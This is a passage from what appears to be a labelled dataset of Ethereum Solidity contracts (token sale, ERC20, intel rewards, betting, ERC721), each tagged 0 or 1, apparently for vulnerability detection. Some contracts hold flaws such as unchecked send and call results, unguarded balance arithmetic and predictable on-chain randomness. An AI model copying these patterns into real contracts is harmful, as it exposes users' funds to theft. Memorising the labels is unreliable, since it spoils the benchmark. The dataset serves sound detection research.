timeLockEnd = _timeLockEnd;
tokensCap = _tokensCap;
carryover = _carryover;
minAcceptableWei = _minAcceptableWei;
}
function initialize(uint256 carryoverAmount) external onlyManager {
require(!isInitialized);
isInitialized = true;
tokensCap = tokensCap.add(carryoverAmount);
}
function finalize() onlyOwner public {
require(isInitialized);
require(canFinalize());
finalization();
emit Finalized();
isFinalized = true;
}
function canFinalize() public view returns(bool) {
return (hasClosed() || (isInitialized && tokensCap <= tokensMinted));
}
function finalization() internal {
if(address(this).balance > 0){
poolAddr.transfer(address(this).balance);
}
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(tokensMinted < tokensCap);
uint256 time_locked = _tokenAmount.mul(timeLockRate).div(100);
uint256 instant = _tokenAmount.sub(time_locked);
if (instant > 0) {
require(TokenSaleManager(managerAddr).mint(_beneficiary, instant));
}
if (time_locked > 0) {
require(TokenSaleManager(managerAddr).mintTimeLocked(
_beneficiary,
time_locked,
timeLockEnd
));
}
tokensMinted = tokensMinted.add(_tokenAmount);
}
function _forwardFunds() internal {}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(isInitialized);
require(_weiAmount >= minAcceptableWei);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate).div(10**18);
}
} | 0 |
pragma solidity ^0.4.4;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract Dubscoin is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public totalEthInWei;
function Dubscoin() {
balances[msg.sender] = 11111111100000000000;
totalSupply = 11111111100000000000;
name = "Dubscoin";
decimals = 11;
symbol = "DUBS";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 |
pragma solidity ^0.4.16;
contract CentraSale {
using SafeMath for uint;
address public contract_address = 0x96a65609a7b84e8842732deb08f56c3e21ac6f8a;
address public owner;
uint public constant min_value = 10**18*1/10;
uint256 public constant token_price = 1481481481481481;
uint256 public tokens_total;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function CentraSale() {
owner = msg.sender;
}
function() payable {
if(!(msg.value >= min_value)) throw;
tokens_total = msg.value*10**18/token_price;
if(!(tokens_total > 0)) throw;
if(!contract_transfer(tokens_total)) throw;
owner.send(this.balance);
}
function contract_transfer(uint _amount) private returns (bool) {
if(!contract_address.call(bytes4(sha3("transfer(address,uint256)")),msg.sender,_amount)) {
return false;
}
return true;
}
function withdraw() onlyOwner returns (bool result) {
owner.send(this.balance);
return true;
}
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
} | 1 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Intel{
using SafeMath for uint256;
struct IntelState {
address intelProvider;
uint depositAmount;
uint desiredReward;
uint balance;
uint intelID;
uint rewardAfter;
bool rewarded;
address[] contributionsList;
mapping(address => uint) contributions;
}
mapping(uint => IntelState) intelDB;
mapping(address => IntelState[]) public intelsByProvider;
mapping(address => uint) public balances;
mapping(address => bool) public registered;
address[] public participants;
uint public totalParetoBalance;
uint[] intelIndexes;
uint public intelCount;
address public owner;
ERC20 public token;
address public paretoAddress;
constructor(address _owner, address _token) public {
owner = _owner;
token = ERC20(_token);
paretoAddress = _token;
}
modifier onlyOwner(){
require(msg.sender == owner, "Sender of this transaction can be only the owner");
_;
}
function changeOwner(address _newOwner) public onlyOwner{
require(_newOwner != address(0x0), "New owner address is not valid");
owner = _newOwner;
}
event Reward( address sender, uint intelIndex, uint rewardAmount);
event NewIntel(address intelProvider, uint depositAmount, uint desiredReward, uint intelID, uint ttl);
event RewardDistributed(uint intelIndex, uint provider_amount, address provider, address distributor, uint distributor_amount);
event LogProxy(address destination, address account, uint amount, uint gasLimit);
event Deposited(address from, address to, uint amount);
function makeDeposit(address _address, uint _amount) public {
require(_address != address(0x0), "Address is invalid");
require(_amount > 0, "Deposit amount needs to be greater than 0");
token.transferFrom(_address, address(this), _amount);
balances[_address] = balances[_address].add(_amount);
if(!registered[_address]) {
participants.push(_address);
registered[_address] = true;
}
totalParetoBalance = totalParetoBalance.add(_amount);
emit Deposited(_address, address(this), _amount);
}
function create(address intelProvider, uint depositAmount, uint desiredReward, uint intelID, uint ttl) public {
require(intelID > 0, "Intel's ID should be greater than 0.");
require(address(intelProvider) != address(0x0), "Intel Provider's address provided is invalid.");
require(depositAmount > 0, "Amount should be greater than 0.");
require(desiredReward > 0, "Desired reward should be greater than 0.");
require(ttl > now, "Expiration date for Intel should be greater than now.");
IntelState storage intel = intelDB[intelID];
require(intel.depositAmount == 0, "Intel with the provided ID already exists");
if(depositAmount <= balances[intelProvider]) {
balances[intelProvider] = balances[intelProvider].sub(depositAmount);
balances[address(this)] = balances[address(this)].add(depositAmount);
} else {
token.transferFrom(intelProvider, address(this), depositAmount);
balances[address(this)] = balances[address(this)].add(depositAmount);
totalParetoBalance = totalParetoBalance.add(depositAmount);
}
address[] memory contributionsList;
IntelState memory newIntel = IntelState(intelProvider, depositAmount, desiredReward, depositAmount, intelID, ttl, false, contributionsList);
intelDB[intelID] = newIntel;
intelsByProvider[intelProvider].push(newIntel);
intelIndexes.push(intelID);
intelCount++;
emit NewIntel(intelProvider, depositAmount, desiredReward, intelID, ttl);
}
function sendReward(uint intelIndex, uint rewardAmount) public returns(bool success){
require(intelIndex > 0, "Intel's ID should be greater than 0.");
require(rewardAmount > 0, "Reward amount should be greater than 0.");
IntelState storage intel = intelDB[intelIndex];
require(intel.intelProvider != address(0x0), "Intel for the provided ID does not exist.");
require(msg.sender != intel.intelProvider, "msg.sender should not be the current Intel's provider.");
require(intel.rewardAfter > now, "Intel is expired");
require(!intel.rewarded, "Intel is already rewarded");
if(rewardAmount <= balances[msg.sender]) {
balances[msg.sender] = balances[msg.sender].sub(rewardAmount);
balances[address(this)] = balances[address(this)].add(rewardAmount);
} else {
token.transferFrom(msg.sender, address(this), rewardAmount);
balances[address(this)] = balances[address(this)].add(rewardAmount);
totalParetoBalance = totalParetoBalance.add(rewardAmount);
}
intel.balance = intel.balance.add(rewardAmount);
if(intel.contributions[msg.sender] == 0){
intel.contributionsList.push(msg.sender);
}
intel.contributions[msg.sender] = intel.contributions[msg.sender].add(rewardAmount);
emit Reward(msg.sender, intelIndex, rewardAmount);
return true;
}
function distributeReward(uint intelIndex) public returns(bool success){
require(intelIndex > 0, "Intel's ID should be greater than 0.");
IntelState storage intel = intelDB[intelIndex];
require(!intel.rewarded, "Intel is already rewarded.");
require(now >= intel.rewardAfter, "Intel needs to be expired for distribution.");
intel.rewarded = true;
uint distributed_amount = 0;
distributed_amount = intel.balance;
balances[address(this)] = balances[address(this)].sub(distributed_amount);
intel.balance = 0;
uint fee = distributed_amount.div(10);
distributed_amount = distributed_amount.sub(fee);
token.transfer(msg.sender, fee/2);
balances[owner] = balances[owner].add(fee/2);
token.transfer(intel.intelProvider, distributed_amount);
totalParetoBalance = totalParetoBalance.sub(distributed_amount.add(fee/2));
emit RewardDistributed(intelIndex, distributed_amount, intel.intelProvider, msg.sender, fee);
return true;
}
function getParetoBalance(address _address) public view returns(uint) {
return balances[_address];
}
function distributeFeeRewards(address[] _participants, uint _amount) public onlyOwner {
uint totalCirculatingAmount = totalParetoBalance - balances[address(this)] - balances[owner];
for( uint i = 0; i < _participants.length; i++) {
if(balances[_participants[i]] > 0) {
uint amountToAdd = _amount.mul(balances[_participants[i]]).div(totalCirculatingAmount);
balances[_participants[i]] = balances[_participants[i]].add(amountToAdd);
balances[owner] = balances[owner].sub(amountToAdd);
}
}
}
function getParticipants() public view returns(address[] memory _participants) {
_participants = new address[](participants.length);
for(uint i = 0; i < participants.length; i++) {
_participants[i] = participants[i];
}
return;
}
function setParetoToken(address _token) public onlyOwner{
token = ERC20(_token);
paretoAddress = _token;
}
function proxy(address destination, address account, uint amount, uint gasLimit) public onlyOwner{
require(destination != paretoAddress, "Pareto Token cannot be assigned as destination.");
bytes4 sig = bytes4(keccak256("transfer(address,uint256)"));
assembly {
let x := mload(0x40)
mstore(x,sig)
mstore(add(x,0x04),account)
mstore(add(x,0x24),amount)
let success := call(
gasLimit,
destination,
0,
x,
0x44,
x,
0x0)
jumpi(0x02,iszero(success))
}
emit LogProxy(destination, account, amount, gasLimit);
}
function() external{
revert();
}
function getIntel(uint intelIndex) public view returns(address intelProvider, uint depositAmount, uint desiredReward, uint balance, uint intelID, uint rewardAfter, bool rewarded) {
IntelState storage intel = intelDB[intelIndex];
intelProvider = intel.intelProvider;
depositAmount = intel.depositAmount;
desiredReward = intel.desiredReward;
balance = intel.balance;
rewardAfter = intel.rewardAfter;
intelID = intel.intelID;
rewarded = intel.rewarded;
}
function getAllIntel() public view returns (uint[] intelID, address[] intelProvider, uint[] depositAmount, uint[] desiredReward, uint[] balance, uint[] rewardAfter, bool[] rewarded){
uint length = intelIndexes.length;
intelID = new uint[](length);
intelProvider = new address[](length);
depositAmount = new uint[](length);
desiredReward = new uint[](length);
balance = new uint[](length);
rewardAfter = new uint[](length);
rewarded = new bool[](length);
for(uint i = 0; i < intelIndexes.length; i++){
intelID[i] = intelDB[intelIndexes[i]].intelID;
intelProvider[i] = intelDB[intelIndexes[i]].intelProvider;
depositAmount[i] = intelDB[intelIndexes[i]].depositAmount;
desiredReward[i] = intelDB[intelIndexes[i]].desiredReward;
balance[i] = intelDB[intelIndexes[i]].balance;
rewardAfter[i] = intelDB[intelIndexes[i]].rewardAfter;
rewarded[i] = intelDB[intelIndexes[i]].rewarded;
}
}
function getIntelsByProvider(address _provider) public view returns (uint[] intelID, address[] intelProvider, uint[] depositAmount, uint[] desiredReward, uint[] balance, uint[] rewardAfter, bool[] rewarded){
uint length = intelsByProvider[_provider].length;
intelID = new uint[](length);
intelProvider = new address[](length);
depositAmount = new uint[](length);
desiredReward = new uint[](length);
balance = new uint[](length);
rewardAfter = new uint[](length);
rewarded = new bool[](length);
IntelState[] memory intels = intelsByProvider[_provider];
for(uint i = 0; i < length; i++){
intelID[i] = intels[i].intelID;
intelProvider[i] = intels[i].intelProvider;
depositAmount[i] = intels[i].depositAmount;
desiredReward[i] = intels[i].desiredReward;
balance[i] = intels[i].balance;
rewardAfter[i] = intels[i].rewardAfter;
rewarded[i] = intels[i].rewarded;
}
}
function contributionsByIntel(uint intelIndex) public view returns(address[] memory addresses, uint[] memory amounts){
IntelState storage intel = intelDB[intelIndex];
uint length = intel.contributionsList.length;
addresses = new address[](length);
amounts = new uint[](length);
for(uint i = 0; i < length; i++){
addresses[i] = intel.contributionsList[i];
amounts[i] = intel.contributions[intel.contributionsList[i]];
}
}
} | 0 |
pragma solidity ^0.4.21;
contract OwnerBase {
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
bool public paused = false;
function OwnerBase() public {
ceoAddress = msg.sender;
cfoAddress = msg.sender;
cooAddress = msg.sender;
}
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCOO whenNotPaused {
paused = true;
}
function unpause() public onlyCOO whenPaused {
paused = false;
}
function isNormalUser(address addr) internal view returns (bool) {
if (addr == address(0)) {
return false;
}
uint size = 0;
assembly {
size := extcodesize(addr)
}
return size == 0;
}
}
contract BaseFight is OwnerBase {
event FighterReady(uint32 season);
struct Fighter {
uint tokenID;
address hometown;
address owner;
uint16 power;
}
mapping (uint => Fighter) public soldiers;
mapping (uint32 => uint64 ) public matchTime;
mapping (uint32 => uint64 ) public seedFromCOO;
mapping (uint32 => uint8 ) public finished;
uint32[] seasonIDs;
function getSeasonInfo(uint32[99] _seasons) view public returns (uint length,uint[99] matchTimes, uint[99] results) {
for (uint i = 0; i < _seasons.length; i++) {
uint32 _season = _seasons[i];
if(_season >0){
matchTimes[i] = matchTime[_season];
results[i] = finished[_season];
}else{
length = i;
break;
}
}
}
function checkCooSeed(uint32 _season) public view returns (uint64) {
require(finished[_season] > 0);
return seedFromCOO[_season];
}
function createSeason(uint32 _season, uint64 fightTime, uint64 _seedFromCOO, address[8] _home, uint[8] _tokenID, uint16[8] _power, address[8] _owner) external onlyCOO {
require(matchTime[_season] <= 0);
require(fightTime > 0);
require(_seedFromCOO > 0);
seasonIDs.push(_season);
matchTime[_season] = fightTime;
seedFromCOO[_season] = _seedFromCOO;
for (uint i = 0; i < 8; i++) {
Fighter memory soldier = Fighter({
hometown:_home[i],
owner:_owner[i],
tokenID:_tokenID[i],
power: _power[i]
});
uint key = _season * 1000 + i;
soldiers[key] = soldier;
}
emit FighterReady(_season);
}
function _localFight(uint32 _season, uint32 _seed) internal returns (uint8 winner)
{
require(finished[_season] == 0);
uint[] memory powers = new uint[](8);
uint sumPower = 0;
uint8 i = 0;
uint key = 0;
Fighter storage soldier = soldiers[0];
for (i = 0; i < 8; i++) {
key = _season * 1000 + i;
soldier = soldiers[key];
powers[i] = soldier.power;
sumPower = sumPower + soldier.power;
}
uint sumValue = 0;
uint tmpPower = 0;
for (i = 0; i < 8; i++) {
tmpPower = powers[i] ** 5;
sumValue += tmpPower;
powers[i] = sumValue;
}
uint singleDeno = sumPower ** 5;
uint randomVal = _getRandom(_seed);
winner = 0;
uint shoot = sumValue * randomVal * 10000000000 / singleDeno / 0xffffffff;
for (i = 0; i < 8; i++) {
tmpPower = powers[i];
if (shoot <= tmpPower * 10000000000 / singleDeno) {
winner = i;
break;
}
}
finished[_season] = uint8(100 + winner);
return winner;
}
function _getRandom(uint32 _seed) pure internal returns(uint32) {
return uint32(keccak256(_seed));
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PartnerHolder {
function isHolder() public pure returns (bool);
function bonusAll() payable public ;
function bonusOne(uint id) payable public ;
}
contract BetOnMatch is BaseFight, SafeMath {
event Betted( uint32 indexed season, uint32 indexed index, address indexed account, uint amount);
event SeasonNone( uint32 season);
event SeasonWinner( uint32 indexed season, uint winnerID);
event LogFighter( uint32 indexed season, address indexed fighterOwner, uint fighterKey, uint fund, address fighterContract, uint fighterTokenID, uint power, uint8 isWin,uint reward, uint64 fightTime);
event LogMatch( uint32 indexed season, uint sumFund, uint64 fightTime, uint sumSeed, uint fighterKey, address fighterContract, uint fighterTokenID ,bool isRefound);
event LogBet( uint32 indexed season, address indexed sender, uint fund, uint seed, uint fighterKey, address fighterContract, uint fighterTokenID );
struct Betting {
address account;
uint32 season;
uint32 index;
address invitor;
uint seed;
uint amount;
}
PartnerHolder public partners;
mapping (uint => Betting[]) public allBittings;
mapping (uint => uint) public betOnFighter;
mapping( address => uint) public balances;
function BetOnMatch(address _partners) public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
cfoAddress = msg.sender;
partners = PartnerHolder(_partners);
}
function betOn(
uint32 _season,
uint32 _index,
uint _seed,
address _invitor)
payable external returns (bool){
require(isNormalUser(msg.sender));
require(matchTime[_season] > 0);
require(now < matchTime[_season] - 300);
require(msg.value >= 1 finney && msg.value < 99999 ether );
Betting memory tmp = Betting({
account:msg.sender,
season:_season,
index:_index,
seed:_seed,
invitor:_invitor,
amount:msg.value
});
uint key = _season * 1000 + _index;
betOnFighter[key] = safeAdd(betOnFighter[key], msg.value);
Betting[] storage items = allBittings[key];
items.push(tmp);
Fighter storage soldier = soldiers[key];
emit Betted( _season, _index, msg.sender, msg.value);
emit LogBet( _season, msg.sender, msg.value, _seed, key, soldier.hometown, soldier.tokenID );
}
function getFighters( uint32 _season) public view returns (address[8] outHome, uint[8] outTokenID, uint[8] power, address[8] owner, uint[8] funds) {
for (uint i = 0; i < 8; i++) {
uint key = _season * 1000 + i;
funds[i] = betOnFighter[key];
Fighter storage soldier = soldiers[key];
outHome[i] = soldier.hometown;
outTokenID[i] = soldier.tokenID;
power[i] = soldier.power;
owner[i] = soldier.owner;
}
}
function processSeason(uint32 _season) public onlyCOO
{
uint64 fightTime = matchTime[_season];
require(now >= fightTime && fightTime > 0);
uint sumFund = 0;
uint sumSeed = 0;
(sumFund, sumSeed) = _getFightData(_season);
if (sumFund == 0) {
finished[_season] = 110;
doLogFighter(_season,0,0);
emit SeasonNone(_season);
emit LogMatch( _season, sumFund, fightTime, sumSeed, 0, 0, 0, false );
} else {
uint8 champion = _localFight(_season, uint32(sumSeed));
uint percentile = safeDiv(sumFund, 100);
uint devCut = percentile * 4;
uint partnerCut = percentile * 5;
uint fighterCut = percentile * 1;
uint bonusWinner = percentile * 80;
_bonusToPartners(partnerCut);
_bonusToFighters(_season, champion, fighterCut);
bool isRefound = _bonusToBettor(_season, champion, bonusWinner);
_addMoney(cfoAddress, devCut);
uint key = _season * 1000 + champion;
Fighter storage soldier = soldiers[key];
doLogFighter(_season,key,fighterCut);
emit SeasonWinner(_season, champion);
emit LogMatch( _season, sumFund, fightTime, sumSeed, key, soldier.hometown, soldier.tokenID, isRefound );
}
clearTheSeason(_season);
}
function clearTheSeason( uint32 _season) internal {
for (uint i = 0; i < 8; i++){
uint key = _season * 1000 + i;
delete soldiers[key];
delete allBittings[key];
}
}
function doLogFighter( uint32 _season, uint _winnerKey, uint fighterReward) internal {
for (uint i = 0; i < 8; i++){
uint key = _season * 1000 + i;
uint8 isWin = 0;
uint64 fightTime = matchTime[_season];
uint winMoney = safeDiv(fighterReward, 10);
if(key == _winnerKey){
isWin = 1;
winMoney = safeMul(winMoney, 3);
}
Fighter storage soldier = soldiers[key];
emit LogFighter( _season, soldier.owner, key, betOnFighter[key], soldier.hometown, soldier.tokenID, soldier.power, isWin,winMoney,fightTime);
}
}
function _getFightData(uint32 _season) internal returns (uint outFund, uint outSeed){
outSeed = seedFromCOO[_season];
for (uint i = 0; i < 8; i++){
uint key = _season * 1000 + i;
uint fund = 0;
Betting[] storage items = allBittings[key];
for (uint j = 0; j < items.length; j++) {
Betting storage item = items[j];
outSeed += item.seed;
fund += item.amount;
uint forSaler = safeDiv(item.amount, 10);
if (item.invitor == address(0)){
_addMoney(cfoAddress, forSaler);
} else {
_addMoney(item.invitor, forSaler);
}
}
outFund += fund;
}
}
function _addMoney( address user, uint val) internal {
uint oldValue = balances[user];
balances[user] = safeAdd(oldValue, val);
}
function _bonusToPartners(uint _amount) internal {
if (partners == address(0)) {
_addMoney(cfoAddress, _amount);
} else {
partners.bonusAll.value(_amount)();
}
}
function _bonusToFighters(uint32 _season, uint8 _winner, uint _reward) internal {
for (uint i = 0; i < 8; i++) {
uint key = _season * 1000 + i;
Fighter storage item = soldiers[key];
address owner = item.owner;
uint fund = safeDiv(_reward, 10);
if (i == _winner) {
fund = safeMul(fund, 3);
}
if (owner == address(0)) {
_addMoney(cfoAddress, fund);
} else {
_addMoney(owner, fund);
}
}
}
function _bonusToBettor(uint32 _season, uint8 _winner, uint bonusWinner) internal returns (bool) {
uint winnerBet = _getWinnerBetted(_season, _winner);
uint key = _season * 1000 + _winner;
Betting[] storage items = allBittings[key];
if (items.length == 0) {
backToAll(_season);
return true;
} else {
for (uint j = 0; j < items.length; j++) {
Betting storage item = items[j];
address account = item.account;
uint newFund = safeDiv(safeMul(bonusWinner, item.amount), winnerBet);
_addMoney(account, newFund);
}
return false;
}
}
function backToAll(uint32 _season) internal {
for (uint i = 0; i < 8; i++) {
uint key = _season * 1000 + i;
Betting[] storage items = allBittings[key];
for (uint j = 0; j < items.length; j++) {
Betting storage item = items[j];
address account = item.account;
uint backVal = safeDiv(safeMul(item.amount, 8), 10);
_addMoney(account, backVal);
}
}
}
function _getWinnerBetted(uint32 _season, uint32 _winner) internal view returns (uint){
uint sum = 0;
uint key = _season * 1000 + _winner;
Betting[] storage items = allBittings[key];
for (uint j = 0; j < items.length; j++) {
Betting storage item = items[j];
sum += item.amount;
}
return sum;
}
function userWithdraw() public {
uint fund = balances[msg.sender];
require (fund > 0);
delete balances[msg.sender];
msg.sender.transfer(fund);
}
function withdrawDeadFund( address addr) external onlyCFO {
uint fund = balances[addr];
require (fund > 0);
delete balances[addr];
cfoAddress.transfer(fund);
}
} | 0 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(
uint256 _a,
uint256 _b
)
internal
pure
returns (uint256)
{
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(
uint256 _a,
uint256 _b
)
internal
pure
returns (uint256)
{
uint256 c = _a / _b;
return c;
}
function sub(
uint256 _a,
uint256 _b
)
internal
pure
returns (uint256)
{
assert(_b <= _a);
return _a - _b;
}
function add(
uint256 _a,
uint256 _b
)
internal
pure
returns (uint256)
{
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
}
interface ERC721Enumerable {
function totalSupply()
external
view
returns (uint256);
function tokenByIndex(
uint256 _index
)
external
view
returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
external
view
returns (uint256);
}
interface ERC721 {
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(
address _owner
)
external
view
returns (uint256);
function ownerOf(
uint256 _tokenId
)
external
view
returns (address);
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
external;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
external;
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external;
function approve(
address _approved,
uint256 _tokenId
)
external;
function setApprovalForAll(
address _operator,
bool _approved
)
external;
function getApproved(
uint256 _tokenId
)
external
view
returns (address);
function isApprovedForAll(
address _owner,
address _operator
)
external
view
returns (bool);
}
interface ERC721TokenReceiver {
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
external
returns(bytes4);
}
library AddressUtils {
function isContract(
address _addr
)
internal
view
returns (bool)
{
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(
bytes4 _interfaceID
)
external
view
returns (bool);
}
contract SupportsInterface is ERC165 {
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
supportedInterfaces[0x01ffc9a7] = true;
}
function supportsInterface(
bytes4 _interfaceID
)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceID];
}
}
contract NFToken is
ERC721,
SupportsInterface
{
using SafeMath for uint256;
using AddressUtils for address;
mapping (uint256 => address) internal idToOwner;
mapping (uint256 => address) internal idToApprovals;
mapping (address => uint256) internal ownerToNFTokenCount;
mapping (address => mapping (address => bool)) internal ownerToOperators;
bytes4 constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
modifier canOperate(
uint256 _tokenId
) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender]);
_;
}
modifier canTransfer(
uint256 _tokenId
) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender
|| getApproved(_tokenId) == msg.sender
|| ownerToOperators[tokenOwner][msg.sender]
);
_;
}
modifier validNFToken(
uint256 _tokenId
) {
require(idToOwner[_tokenId] != address(0));
_;
}
constructor()
public
{
supportedInterfaces[0x80ac58cd] = true;
}
function balanceOf(
address _owner
)
external
view
returns (uint256)
{
require(_owner != address(0));
return ownerToNFTokenCount[_owner];
}
function ownerOf(
uint256 _tokenId
)
external
view
returns (address _owner)
{
_owner = idToOwner[_tokenId];
require(_owner != address(0));
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
external
{
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
{
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
canTransfer(_tokenId)
validNFToken(_tokenId)
{
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
}
function approve(
address _approved,
uint256 _tokenId
)
external
canOperate(_tokenId)
validNFToken(_tokenId)
{
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApprovals[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(
address _operator,
bool _approved
)
external
{
require(_operator != address(0));
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(
uint256 _tokenId
)
public
view
validNFToken(_tokenId)
returns (address)
{
return idToApprovals[_tokenId];
}
function isApprovedForAll(
address _owner,
address _operator
)
external
view
returns (bool)
{
require(_owner != address(0));
require(_operator != address(0));
return ownerToOperators[_owner][_operator];
}
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
canTransfer(_tokenId)
validNFToken(_tokenId)
{
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
if (_to.isContract()) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _transfer(
address _to,
uint256 _tokenId
)
private
{
address from = idToOwner[_tokenId];
clearApproval(_tokenId);
removeNFToken(from, _tokenId);
addNFToken(_to, _tokenId);
